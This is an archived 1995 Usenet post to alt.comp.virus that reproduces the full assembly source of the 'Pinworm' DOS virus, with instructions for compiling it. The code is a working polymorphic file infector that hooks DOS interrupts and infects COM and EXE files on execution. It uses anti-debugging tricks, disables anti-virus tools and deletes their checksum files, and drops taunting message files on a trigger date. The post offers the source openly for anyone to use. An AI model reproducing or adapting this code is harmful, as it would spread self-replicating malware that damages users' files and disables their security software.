home *** CD-ROM | disk | FTP | other *** search
- To: joshuaw@pobox.jwu.edu
- Subject: (fwd) PINWORM.ASM
- Newsgroups: alt.comp.virus
-
- Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail
- From: yojimbo@crl.com (Douglas Mauldin)
- Newsgroups: alt.comp.virus
- Subject: PINWORM.ASM
- Date: 23 Jan 1995 23:31:03 -0800
- Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
- Lines: 976
- Message-ID: <3g2abn$b7a@crl5.crl.com>
- NNTP-Posting-Host: crl5.crl.com
- X-Newsreader: TIN [version 1.2 PL2]
-
- ;Someone posted somewhere that they needed the pinworm's source code so here
- ;it is compliments of THe QUaRaNTiNE:
-
- ; compile like so:
- ; TASM /m pinworm
- ; Tlink pinworm
- ; --convert to COM--
- ;
-
- cseg segment
- assume cs: cseg, ds: cseg, es: cseg, ss: cseg
-
- ; conditional compilation..
- SECOND_CRYPT equ 1 ; use second cryptor?
- XTRA_SPACE equ 1 ; xtra space to prevent double cryptor?
- INCLUDE_INT3 equ 1 ; include INT 3 in garbage code?
- ; (slows the loop down alot)
- KILL_AV equ 1 ; Kill AVs as executed?
- KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez?
-
-
- ; thingz to change..
- kill_date equ 19 ; day of the month to play with user
- max_exe equ 4 ; max exe file size -high byte
- msg_filez equ 17 ; number of filenames for our msg
-
- ; polymorphic engine options..
- inc_buf_size equ 20 ; INC buf
- enc_op_bsize equ 36 ; ENC buf
- ptr_buf_size equ 36 ; PTR buf
- cnt_buf_size equ 36 ; CNT&OP
- dj_buf_size equ 36 ; DEC&JMP
- loop_disp_size equ 20 ; loop buf range
- ;compile and change the below equate to the second byte of the JNZ operand
- org_loop equ 8Dh ; original JNZ offset
-
-
- signal equ 0FA01h ; AX=signal/INT 21h/installation chk
- vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
- enc_size equ offset first_crypt-offset encrypt
- enc2_size equ offset code_start-offset first_crypt
- real_start equ offset dj_buf+3 ; starting location of encryted code
-
-
- org 0h ; hellacious EXE offset calcs if !0
- start:
-
- ;---- Encryptor/Decryptor Location
- ; Each opcode has predefined ranges to move within - once the opcode is
- ; determined, it is placed at the decided location within the buffer.
- ; 0 bytes constant
- ;
- encrypt:
- ptr_buf db ptr_buf_size-3 dup (90h)
- db 0BEh
- dw real_start+100h
- encryptor:
- cnt_buf db cnt_buf_size-3 dup(90h)
- db 0B8h ; AX:b8
- dw offset vend-offset dj_buf
- enc_loop:
- loop_disp db loop_disp_size dup(90h)
- inc_buf db inc_buf_size dup(90h)
- enc_op_buf db enc_op_bsize dup(90h)
- misc_buf dw 9090h
- word_inc db 90h
- dj_buf db dj_buf_size-3 dup (90h)
- dec ax
- jnz enc_loop ; for orig. only
- ret_byte db 090h ; C3h or a NOP equiv.
- first_crypt: ; end of first cryptor
-
-
- ;---- Second encryptor
- ; Whose only purpose is to tear the shit out of debuggers. It obviously
- ; isn't invincible, but will at least keep the lamerz and ignorant morons
- ; like Patti Hoffman out of the code.
- ;
- ; _ Uses reverse direction word XOR encryption
- ; _ Uses the following techniques:
- ; _ JMP into middle of operand
- ; _ Replace word after CALL to kill stepping over call
- ; _ Kills INT 1 vector
- ; _ Disables Keyboard via Port 21h
- ; _ Reverse direction encryption prevents stepping past loop
- ; _ Uses SP as a crucial data register in some locations - if
- ; the debugger uses the program's stack, then it may very well
- ; phuck thingz up nicely.
- ; _ Uses Soft-Ice INT 3 API to lock it up if in memory.
- ;
- sti ; fix CLI in garbage code
- db 0BDh ; MOV BP,XXXX
- bp_calc dw 0100h
- push ds es ; save segment registers for EXE
- IF SECOND_CRYPT
- push ds
- dbg1: jmp mov_si ; 1
- db 0BEh ; MOV SI,XXXX
- mov_si: db 0BEh ; MOV SI,XXXX
- rel2_off dw offset heap+1000h ; org copy: ptr way out there
- call shit
- add_bp: int 19h ; fuck 'em if they skipped
- jmp in_op ; 1
- db 0BAh ; MOV DX,XXXX
- in_op: in al,21h
- push ax
- or al,02
- jmp kill_keyb ; 1
- db 0C6h
- kill_keyb: out 21h,al ; keyboard=off
- call shit6
- past_shit: jmp dbl_crypt
- shit7:
- xor ax,ax ;null es
- mov es,ax
- mov bx,word ptr es: [06] ;get INT 1
- ret
- shit:
- mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP
- mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister
- ret
- shit2:
- mov word ptr cs: dec_si[bp],4E4Eh
- mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother
- call shit3
- jnc code_start ;did they skip shit3?
- xor dx,cx
- ret
- db 0EAh ;JMP FAR X:X
- shit4:
- db 0BAh ;MOV DX,XXXX
- sec_enc dw 0
- mov di,4A4Dh ;prepare for Soft-ice
- ret
- shit3:
- mov ax,911h ;soft-ice - execute command
- call shit4
- stc
- dec word ptr es: [06] ;2-kill INT 1 vector
- push si
- mov si,4647h ;soft-ice
- int 3 ;call SI execute - DS:DX-garbage
- pop si
- ret
-
- shit6: mov byte ptr cs: past_shit[bp],0EBh
- out 21h,al ; try turning keyboard off again
- ret
-
- dbl_crypt: ; main portion of cryptor
- mov cx,(offset heap-offset ret2_byte)/2+1
- call shit7
- dbl_loop:
- jmp $+3 ; 1
- db 034h ; XOR ...
- call shit3 ; nested is the set DX
- xchg sp,dx ; xchg SP and DX
- jmp xor_op ; 1
- db 0EAh ; JMP FAR X:X
- xor_op: xor word ptr cs: [si],sp ; the real XOR baby..
- xchg sp,dx ; restore SP
- call shit2
- dec_si: pop ss ; fuck 'em if they skipped shit2
- pop sp
- int 3
- xchg sp,bx ; SP=word of old int 1 vec
- dec cx
- mov es: [06],sp ; restore int 1 vector
- xchg sp,bx ; restore SP
- jnz dbl_loop
- ret2_byte db 90h,90h
-
- ;---- Start of another artificial lifeform
-
- ENDIF
- code_start:
- IF SECOND_CRYPT
- pop ax es ; Get port reg bits (ES=PSP)
- out 21h,al ; restore keyboard
- ENDIF
-
- mov cs: activate[bp],0 ; reset activation toggle
- mov cs: mem_word[bp],0 ; reset mem. encryption
-
- inc si ; SI!=0
- mov dx,vsafe_word ; remove VSAFE/VWATCH from memory
- mov ax,0FA01h ; & check for residency of virus too
- int 21h
- or si,si ; if SI=0 then it's us
- jz no_install
-
- mov ah,2ah ; get date
- int 21h
- cmp dl,kill_date ; is it time to activate?
- jnz not_time
- mov cs: activate[bp],1
-
- not_time:
-
- mov ax,es ; PSP segment - popped from DS
- dec ax ; mcb below PSP m0n
- mov ds,ax ; DS=MCB seg
- cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
- jnz no_install
- sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB
- sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP
- mov es,word ptr ds: [12h] ; get high mem seg
- push cs
- pop ds
- mov si,bp
- mov cx,(offset vend - offset start)/2+1
- xor di,di
- rep movsw ; copy code to new seg
- xor ax,ax
- mov ds,ax ; null ds
- push ds
- lds ax,ds: [21h*4] ; get 21h vector
- mov es: word ptr old21+2,ds ; save S:O
- mov es: word ptr old21,ax
- pop ds
- mov ds: [21h*4+2],es ; new int 21h seg
- mov ds: [21h*4],offset new21 ; new offset
-
- call get_random
- cmp dl,5
- jle no_install
- sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem
-
- no_install:
-
- xor si,si ; null regs..
- xor di,di ; some progs actually care..
- xor ax,ax
- xor bx,bx
- xor dx,dx
-
- pop es ds ; restore ES DS
- cmp cs: exe_phile[bp],1
- jz exe_return
-
- lea si,org_bytes[bp] ; com return
- mov di,0100h ; -restore first 4 bytes
- movsw
- movsw
-
- mov ax,100h ; jump back to 100h
- push ax
- _ret: ret
-
- exe_return:
- mov cx,ds ; calc. real CS
- add cx,10h
- add word ptr cs: [exe_jump+2+bp],cx
- int 3 ; fix prefetch
- cli
- mov sp,cs: oldsp[bp] ; restore old SP..
- sti
- db 0eah
- exe_jump dd 0
- oldsp dw 0
- exe_phile db 0
-
- ;----------------------------------------------------------
- ; Infection routine - called from INT 21h handler.
- ; DS:DX=fname
- ; Assumes EXE if first byte is 'M' or 'Z'
- ; Changes/Restores attribute and time/date
- ;
- ; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's
- ; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it
- ; unusable.
- ;
- infect_file:
-
- mov di,dx ; move filename ptr into an index reg
-
- push ds ; search for end of filename(NULL)
- pop es
- xor ax,ax
- mov cx,128
- repnz scasb
-
- cmp word ptr [di-3],'EX' ;.eXE?
- jz is_exec
- chk_com: cmp word ptr [di-3],'MO' ;.cOM?
- jnz _ret
- is_exec:
- IF KILL_AV
- mov cs: isav,0
- cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV
- jz anti_action
- cmp word ptr [di-7],'TO' ;*OT.*? F-PROT
- jz anti_action
- cmp word ptr [di-7],'NA' ;*AN.*?
- jnz name_ok
- cmp word ptr [di-9],'CS' ;*SCAN.*?
- jnz name_ok
- anti_action:
- inc cs: isav ; set mark for anti-virus kill
- name_ok:
- ENDIF
- push ds ; save fname ptr segment
- mov es,ax ; NULL ES (ax already 0)
- lds ax,es: [24h*4] ; get INT 24h vector
- mov old_24_off,ax ; save it
- mov old_24_seg,ds
- mov es: [24h*4+2],cs ; install our handler
- mov es: [24h*4],offset new_24
- pop ds ; restore fname ptr segment
- push es
- push cs ; push ES for restoring INT24h later
- pop es ; ES=CS
-
- mov ax,4300h ; get phile attribute
- int 21h
- mov ax,4301h ; null attribs 4301h
- push ax cx ds dx ; save AX-call/CX-attrib/DX:DS
- xor cx,cx ; zero all
- int 21h
-
- mov bx,signal
- mov ax,3d02h ; open the file
- int 21h
- jc close ; if error..quit infection
-
- xchg bx,ax ; get handle
-
- push cs ; DS=CS
- pop ds
-
- IF KILL_CHKLIST
- call kill_chklst ; kill CHKLIST.MS & .CPS filez
- ENDIF
- mov ax,5700h ; get file time/date
- int 21h
- push cx dx ; save 'em for later
-
- mov ah,3fh ; Read first bytes of file
- mov cx,18h ; EXE header or just first bytes of COM
- lea dx,org_bytes ; buffer used for both
- int 21h
-
- call offset_end ; set ptr to end- DXAX=file_size
-
- cmp byte ptr org_bytes,'M' ; EXE?
- jz do_exe
- cmp byte ptr org_bytes,'Z' ; EXE?
- jz do_exe
- cmp byte ptr org_bytes+3,0 ; CoM infected?
- jz d_time
-
- dec exe_phile
-
- push ax ; save file size
- add ax,100h ; PSP in com
- mov rel_off,ax ; save it for decryptor
- mov bp_calc,ax
-
- call encrypt_code ; copy and encrypt code
-
- lea dx,vend ; start of newly created code
- mov cx,offset heap+0FFh ; virus length+xtra
- add cl,size_disp ; add random ^in case cl exceeds FF
- mov ah,40h
- int 21h ; append virus to infected file
-
- call offset_zero ; position ptr to beginning of file
-
- pop ax ; restore COM file size
- sub ax,3 ; calculate jmp offset
- mov word ptr new_jmp+1,ax ; save it..
-
- lea dx,new_jmp ; write the new jmp (E9XXXX,0)
- mov cx,4 ; total of 4 bytes
- mov ah,40h
- int 21h
-
- d_time:
-
- pop dx cx ; pop date/time
- mov ax,5701h ; restore the mother fuckers
- int 21h
-
- close:
-
- mov ah,3eh ; close phile
- int 21h
-
- pop dx ds cx ax ; restore attrib
- int 21h
-
- dont_do:
- pop es ; ES=0
- lds ax,dword ptr old_24_off ; restore shitty DOS error handler
- mov es: [24h*4],ax
- mov es: [24h*4+2],ds
-
- ret ; return back to INT 21h handler
-
- do_exe:
- cmp dx,max_exe
- jg d_time
-
- mov exe_phile,1
-
- IF KILL_AV
- cmp isav,1 ; anti-virus software?
- jnz not_av
- mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh
- jmp write_hdr
- not_av:
- ENDIF
- cmp word ptr exe_header[12h],0 ; checksum 0?
- jnz d_time
-
- mov cx,mem_word ; get random word
- inc cx ; make sure !0
- mov word ptr exe_header[12h],cx ; set checksum to!0
- mov cx,word ptr exe_header[10h] ; get old SP
- mov oldsp,cx ; save it..
- mov word ptr exe_header[10h],0 ; write new SP of 0
-
- les cx,dword ptr exe_header[14h] ; Save old entry point
- mov word ptr exe_jump, cx ; off
- mov word ptr exe_jump[2], es ; seg
-
- push cs ; ES=CS
- pop es
-
- push dx ax ; save file size DX:AX
- cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+)
- jz pklited
- cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE
- jge d_time
- pklited:
-
- mov bp, word ptr exe_header+8h ; calc. new entry point
- mov cl,4 ; *10h
- shl bp,cl ; ^by shifting one byte
- sub ax,bp ; get actual file size-header
- sbb dx,0
- mov cx,10h ; divide me baby
- div cx
-
- mov word ptr exe_header+14h,dx ; save new entry point
- mov word ptr exe_header+16h,ax
- mov rel_off,dx ; save it for encryptor
- mov bp_calc,dx
-
- call encrypt_code ; encrypt & copy the code
-
- mov cx,offset heap+0FFh ; virus size+xtra
- add cl,size_disp ; add random ^in case cl exceeds FFh
- lea dx,vend ; new copy in heap
- mov ah,40h ; write the damn thing
- int 21h
-
- pop ax dx ; AX:DX file size
-
- mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below
- add cl,size_disp
- adc ax,cx
-
- mov cl,9 ; calc new alloc (512)
- push ax
- shr ax,cl
- ror dx,cl
- stc
- adc dx,ax
- pop ax
- and ah,1
-
- mov word ptr exe_header+4h,dx ; save new mem. alloc info
- mov word ptr exe_header+2h,ax
-
- write_hdr:
- call offset_zero ; position ptr to beginning
-
- mov cx,18h ; write fiXed header
- lea dx,exe_header
- mov ah,40h
- int 21h
-
- jmp d_time ; restore shit/return
-
-
- ;----------------------------------------------------------
- ; Kill CHKLIST.* filez by nulling attribs, then deleting
- ; phile.
- ;
-
- kill_chklst:
- mov di,2 ; counter for loop
- lea dx,chkl1 ; first fname to kill
- kill_loop:
- mov ax,4301h ; reset attribs
- xor cx,cx
- int 21h
- mov ah,41h ; delete phile
- int 21h
- lea dx,chkl2 ; second fname to kill
- dec di
- jnz kill_loop
-
- ret
-
- ;----------------------------------------------------------
- ; set file ptr
-
- offset_zero: ; self explanitory
- xor al,al
- jmp set_fp
- offset_end:
- mov al,02h
- set_fp:
- mov ah,42h
- xor cx,cx
- xor dx,dx
- int 21h
- ret
-
- ;----------------------------------------------------------
- ; Morph, copy, & crypt
- ;
- ; 0 bytes constant
- ; 0 operands in constant locations
- ;
- ; ms:
- ; bit 7
- ; 6
- ; 5
- ; 4 - INCREMENT COUNTER OP
- ; 3 -
- ; 2 - INCREMENT ENCRYPTOR OP
- ; 1 - ADD&SUB|XOR
- ; 0 - WORD|BYTE
- ; IF<20-SELECTION BETWEEN JNZ AND JNS
- ; IF<5-DON'T WRITE ENCRYPTION OPS!
- ; sec:
- ; IF<=5-use constant NOP instead of random
- ;
- encrypt_code:
-
- push bx ; save the handle
-
- ;---- Fill buffer space with garbage bytes
-
- lea di,encrypt ; fill buffer /w it
- mov bp,enc_size+1
- call fill_buffer
-
- ;---- Randomly select between jmp type : JNZ or JNS
-
- call get_random
- mov enc_num,dl ; store ms count for encryption
- mov mem_word,dx ; mem cryption too
- mov size_disp,dl ; and size displacment
-
- cmp dl,20h
- jl jmp_2
- mov byte ptr jnz_op,75h ; use jnz
- jmp jmp_set
- jmp_2:
- mov byte ptr jnz_op,79h ; jns
- jmp_set:
-
- ;---- Change jump address
-
- cmp byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset?
- jnz inc_jmp_ofs ; if not then inc the ptr
- mov byte ptr jnz_op+1,org_loop ; jump to pos X in buffer
- inc_jmp_ofs:
- inc byte ptr jnz_op+1 ; increment jmp into buffer
-
- ;---- Change encryption type randomly between XOR and ADD&SUB
-
- mov al,04 ; default to encrypting ADD
- mov enc_type,2Ch ; and decrypting SUB
- test dl,00000010b ; that bit =1?
- jz use_add_sub
- mov al,34h ; encrypting XOR
- mov enc_type,34h ; decrypting XOR
- use_add_sub:
-
- ;--- Change register used for the counter
-
- cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI
- jnz get_reg
- mov byte ptr count_op,0B7h ; AX-1
- mov byte ptr dec_op,47h ; AX-1
- get_reg:
- inc byte ptr count_op ; increment to next OP
- inc byte ptr dec_op ; ""
-
- ;---- Change position of INC XX
-
- mov di,inc_ptr ; get new off for INC XX
- cmp di,inc_buf_size ; max position?
- jl good_inc ; if not..then continue
- mov inc_ptr,0 ; use offset 1 next run
- xor di,di ; use offset 0 this run
- good_inc:
- inc inc_ptr ; increment the ptr for next
-
- ;---- Toggle between SI and DI
-
- cmp byte ptr ptr_set,0BEh ; using SI?
- jz chg_di ; if so, then switch to DI
- mov byte ptr inc_buf[di],46h ; write INC SI
- dec byte ptr ptr_set ; decrement to SI
- jmp done_chg_ptr
- chg_di:
- mov byte ptr inc_buf[di],47h ; write INC DI
- inc byte ptr ptr_set ; increment to DI
- inc byte ptr enc_type ; increment decryptor
- inc ax ; increment encryptor
- done_chg_ptr:
-
- ;---- Select word or byte encryption
-
- mov w_b,80h ; default to byte cryption
- test dl,00000001b ; use word?
- jz use_byte
- mov w_b,81h ; now using word en/decryptor
- mov ch,byte ptr inc_buf[di] ; get INC op
- mov byte ptr word_inc,ch ; write another one
- use_byte:
-
- ;---- Increment counter value
-
- cmp byte ptr crypt_bytes,0Fh ; byte count quite large?
- jnz inc_cnt ; if not..increment away
- mov crypt_bytes,offset vend ; else..reset byte count
- inc_cnt:
- inc crypt_bytes ; increment byte count
-
-
- ;---- Set DEC XX /JNS|JNZ operands
-
- mov di,dec_op_ptr
- cmp di,dj_buf_size-2
- jl good_dec_op
- mov dec_op_ptr,0
- xor di,di
- good_dec_op:
- inc dec_op_ptr
- no_inc_dec_op:
- add di,offset dj_buf
- lea si,dec_op
- movsw
- movsb
- inc di ;word align
- add rel_off,di ;chg offset for decryption
- push di ;save offset after jmp
-
- ;---- Set MOV DI,XXXX|MOV SI,XXXX
-
- mov di,ptr_op_ptr
- cmp di,ptr_buf_size-3
- jl good_ptr_op
- mov ptr_op_ptr,0
- xor di,di
- good_ptr_op:
- test dl,00001000b
- jz no_inc_ptr_op
- inc ptr_op_ptr
- no_inc_ptr_op:
- add di,offset ptr_buf
- lea si,ptr_set
- movsw
- movsb
-
- ;---- Set MOV AX|BX|DX|CX,XXXX
-
- mov di,count_op_ptr
- cmp di,cnt_buf_size-3
- jl good_count_op
- mov count_op_ptr,0
- xor di,di
- good_count_op:
- test dl,00010000b
- jz no_inc_count_op
- inc count_op_ptr
- no_inc_count_op:
- add di,offset cnt_buf
- lea si,count_op
- movsw
- movsb
-
- ;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX
-
- mov di,enc_op_ptr
- cmp di,enc_op_bsize-5
- jl good_enc_ptr
- mov enc_op_ptr,0
- xor di,di
- good_enc_ptr:
- test dl,00000100b
- jz no_inc_enc_ptr
- inc enc_op_ptr
- no_inc_enc_ptr:
- add di,offset enc_op_buf
- mov bx,di ; BX points to encrytor pos.
- lea si,seg_op
- movsw
- movsw
-
- ;---- FiX second cryptor offset
-
- IF SECOND_CRYPT
- mov rel2_off,offset heap ;first gen has mispl. off
- ENDIF
-
- ;---- Copy virus code along with decryptor to heap
-
- mov cx, (offset heap-offset start)/2+1
- xor si,si
- lea di,vend ; ..to heap for encryption
- rep movsw ; make another copy of virus
-
- IF SECOND_CRYPT
- ;---- Call second encryptor first
-
- mov si,offset vend ; offset of enc. start..
- add si,offset heap ; ..at end of code
- mov ret2_byte,0C3h
- xor bp,bp
- push ax bx
- call dbl_crypt
- pop bx ax
- mov ret2_byte,90h
- ENDIF
-
- ;---- Set ptr to heap for encryption
-
- pop si ; pop offset after jmp
- add si,offset vend ; offset we'z bez encrypting
- mov di,si ; we might be using DI too
-
- ;---- Encrypt the mother fucker
-
- mov ret_byte,0C3h ; put RET
- mov byte ptr [bx+2],al ; set encryption type
- call encryptor ; encrypt the bitch
-
- pop bx ; restore phile handle
- ret ; return
-
- ;-----------------------------------------------
- ; Fill buffer with random garbage from table
- ; DI=off BP=size
- ; ret: BL=last garbage byte
- ;
- ; Decently random..relies on previously encrypted data and MS from clock
- ; to form pointer to the next operand to use..
- ;
- ;
- fill_buffer:
- add bl,dl ; previous NOP+previous NOP off
- call get_random
- IF SECOND_CRYPT
- mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor
- mov byte ptr sec_enc+1,dh
- ENDIF
- cmp dh,5 ; use random NOPs or constant NOP?
- jg use_rand
- xor dx,dx
- jmp constant
- use_rand:
- add dl,byte ptr vend+200h[di] ; encrypted byte somewhere..
- sub dl,bl
- and dl,00001111b ; extract lower nibble
- xor dh,dh
- constant: mov si,dx ; build index ptr
- mov bl,byte ptr [nops+si] ; get NOP from table
- mov byte ptr [di],bl
- inc di ; increment buffer ptr
- dec bp
- jnz fill_buffer ; loop
- ret
- ;--------------------------
- ; get time man - and use it as semi-random word
- ;
- get_random:
- mov ah,2ch ; get clock
- int 21h
- ret
-
- ;----------------------------------------------------------
- ; Associated bullshit
- ;
- credits db ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994'
- chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum
- chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum
- pin_dir db 255,'PI_W_rM._g!',0 ; DIR created
- root db '..',0 ; for changing to org. dir
- file1 db 'I_hope_y',0 ; filez created in dir..
- db 'ou_have_',0 ; must be 8 chars each+null
- db 'enjoyed_',0 ; (255 not space)
- db 'your_inf',0
- db 'estation',0
- db '_by_the_',0
- db 'mighty P',0
- db 'inworm p',0
- db 'arasite╖',0
- db '╖╖╖╖╖╖╖╖',0
- db 'Fuck_you',0
- db 'all!____',0
- db '-_irogen',0 ; #13
- new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id)
- inc_ptr dw 0 ; ptr to location of INC
- enc_op_ptr dw 0 ; actual ENC op ptr
- ptr_op_ptr dw 0 ; ptr to ptr set pos
- count_op_ptr dw 0 ; ptr to counter reg pos
- dec_op_ptr dw 1 ; ptr to decrement counter op pos
- activate db 0
- isav db 0
-
- seg_op db 2Eh ; CS
- w_b db 80h ; byte=80h word=81h
- enc_type db 2Ch ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34
- enc_num db 0
-
- ptr_set db 0BEh ; MOV SI,XXXX
- rel_off dw real_start+100h
-
- count_op db 0B8h ; CX:B9 AX:b8
- crypt_bytes dw offset vend-offset dj_buf
-
- dec_op: dec ax ; DEC AX|BX|CX|DX
- jnz_op: db 75h,org_loop
-
- nops: nop ; 1 byte garbage OPs.. must be 16
- IF INCLUDE_INT3
- int 3
- ELSE
- cld
- ENDIF
- into
- inc bp
- dec bp
- cld
- nop
- stc
- cmc
- clc
- stc
- into
- cli
- sti
- inc bp
- IF INCLUDE_INT3
- int 3
- ELSE
- nop
- ENDIF
-
-
- ;----------------------------------------------------------
- ; activation routine
- ;
- act_routine:
- push ax bx cx ds dx bp es cs
- pop ds
- mov activate,0 ;we're in work now..
- lea dx,pin_dir ;create our subdirectory
- mov ah,39h
- int 21h
- mov ah,3bh ;change to our new subdirectory
- int 21h
-
- lea dx,file1 ;offset of first filename
- mov bp,msg_filez ;# of filez total
- make_msg:
- xor cx,cx ;null attribs
- mov ah,3ch
- int 21h ;create phile
- jc dont_close
- xchg ax,bx
- mov ah,3eh ;close phile
- int 21h
- dont_close: add dx,9 ;point to next phile
- dec bp
- jnz make_msg
-
- lea dx,root ; change back to orginal dir
- mov ah,3bh
- int 21h
-
- cmp r_delay,5 ;5 calls?
- jl r_no ;if not then skip keyboard ror
- mov r_delay,-1
- xor ax,ax ;es=null
- mov es,ax
- ror word ptr es: [416h],1 ;rotate keyboard flags
- r_no:
- inc r_delay ;increment calls count
- mov activate,1
- pop es bp dx ds cx bx ax
- jmp no_act
-
- ;-------------------------------------------------------
- ; Interrupt 24h - critical error handler
- ;
- new_24: ; critical error handler
- mov al,3 ; prompts suck, return fail
- iret
-
- ;---------------------------------------------------------
- ; In-memory encryption function
- ; **virus encrypted in memory up to this point**
- ;
- mem_crypt:
- mov cx,offset mem_crypt-offset code_start
- xor di,di ;offset 0
- mem_loop:
- db 2Eh,81h,35h ;CS:XOR WORD PTR [DI],
- mem_word dw 0 ;XXXX
- inc di
- loop mem_loop
- ret
-
- ;----------------------------------------------------------
- ; Interrupt 21h
- ; returns SI=0 and passes control to normal handler if
- ; VSAFE uninstall command is recieved.
- ;
- new21:
- pushf
-
- cmp cs: activate,1 ; time to activate?
- jnz no_act
- cmp ah,0Bh
- jl act_routine
- no_act:
- cmp ax,signal ; be it us?
- jnz not_us ; richtig..
- cmp dx,vsafe_word
- jnz not_us
- xor si,si ; tis us
- mov di,4559h ; simulate VSAFE return
- not_us:
- cmp ah,4bh ; execute phile?
- jnz jmp_org
-
- go_now: push ax bp bx cx di dx ds es si
- call mem_crypt ; decrypt in memory
- call infect_file ; the mother of all calls
- call mem_crypt ; encrypt in memory
- pop si es ds dx di cx bx bp ax
-
- jmp_org:
- popf
- db 0eah ; jump far
- old21 dd 0 ; O:S
-
-
- exe_header:
- org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
- ;---- Start of heap (not written to disk)
- heap:
- db 14h dup(0) ; remaining exe header space
- old_24_off dw 0 ; old int24h vector
- old_24_seg dw 0
- r_delay db 0
- size_disp db 0 ; additional size of virus
- IF XTRA_SPACE
- db 0DDh dup(0) ; xtra space for random write
- ; otherwise decryptor will be
- ; written twice - could make it
- ; vulnerable
- ENDIF
- vend: ; end of virus in memory..
- cseg ends
- end start
-
-
-